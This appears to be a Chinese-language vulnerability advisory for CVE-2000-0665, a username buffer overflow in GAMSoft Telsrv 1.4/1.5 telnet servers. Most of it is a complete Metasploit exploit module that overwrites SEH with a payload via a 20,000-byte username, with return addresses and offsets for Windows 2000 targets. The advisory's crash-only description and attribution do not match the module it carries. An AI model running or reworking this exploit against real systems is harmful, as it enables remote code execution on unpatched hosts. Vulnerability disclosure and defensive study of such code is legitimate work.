发布日期：2000-07-17
更新日期：2008-02-01

受影响系统：

GAMSoft Telsrv 1.5
GAMSoft Telsrv 1.4

描述：

---

BUGTRAQ  ID: 1478
CVE ID: CVE-2000-0665

GAMSoft Telsrv是通过TCP/IP连接进行远程计算机控制的工具。

GAMSoft Telsrv telnet server在实现上存在拒绝服务攻击，如果恶意用户连接到端口23并提供4550个字符左右的用户名，则telnet应用将会崩溃。

<*来源：Prizm （prizm@Resentment.org）
  
  链接：http://osvdb.org/373
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Prizm （prizm@Resentment.org）提供了如下测试方法：

##
# $Id: gamsoft_telsrv_username.rb 4961 2007-05-22 21:15:14Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Telnet::GAMSoft_TelSrv_Username < Msf::Exploit::Remote
    include Exploit::Remote::Tcp
    include Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,    
            'Name'        => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
            'Description'    => %q{
                This module exploits a username sprintf stack overflow in GAMSoft TelSrv 1.5.
            Other versions may also be affected. The service terminates after exploitation,
            so you only get one chance!
            },
            'Author'     => [ 'Patrick Webster <patrick[at]aushack.com>' ],
            'Arch'        => [ ARCH_X86 ],
            'License'       => MSF_LICENSE,
            'Version'        => '$Revision: 4961 $',
            'References'    =>
            [
                [ 'BID', '1478'],
                [ 'CVE', '2000-0665'],
                [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
            ],        
            'Privileged'        => false,
            'DefaultOptions'    =>
            {
                'EXITFUNC'     => 'thread',
            },
            'Payload'            =>
                {
                    'Space'            => 1000,
                    'BadChars'         => "\x00\x0a",
                    'StackAdjustment'     => -3500,
                },
            'Platform' => ['win'],
            'Targets'  =>
            [
                         [
                'Windows 2000 Pro SP0/4 English REMOTE',
                {
                    'Ret'        => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
                    'Offset'    => 1886,
                }
                ],
                [
                'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
                {
                    'Ret'         => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
                    'Offset'    => 3318,
                }
                ],
                [
                'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
                {
                    'Ret'         => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
                    'Offset'     => 3358,
                }
                ],
                    #[
                #'Windows XP Pro SP0/1 English',
                #{
                #    'Ret'         => 0x71aa32ad, # pop/pop/ret xp pro en ALL
                #    'Offset'    => 2600, # this is made up and absolutely wrong ;-)
                #}
                #],
                #[
            ],
            'DisclosureDate' => 'Jul 17 2000',
            'DefaultTarget' => 0))
            
            register_options(
            [
                Opt::RPORT(23),
            ], self.class)
    end

    def check
        connect
        print_status("Attempting to determine if target is vulnerable...")
        sleep(7)
        banner = sock.get_once(-1,3)

        if (banner =~ /TelSrv 1\.5/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
        connect
        print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
        sleep(7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

        username = rand_text_english(20000, payload_badchars)
        seh = generate_seh_payload(target.ret)
        username[target['Offset'], seh.length] = seh
    
        print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
        sock.put(username)
        sleep(0.25)
        print_status('Exploit sent...')
        handler
        disconnect
    end

end
end

建议：

---

厂商补丁：

GAMSoft
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.gamsoft.com/

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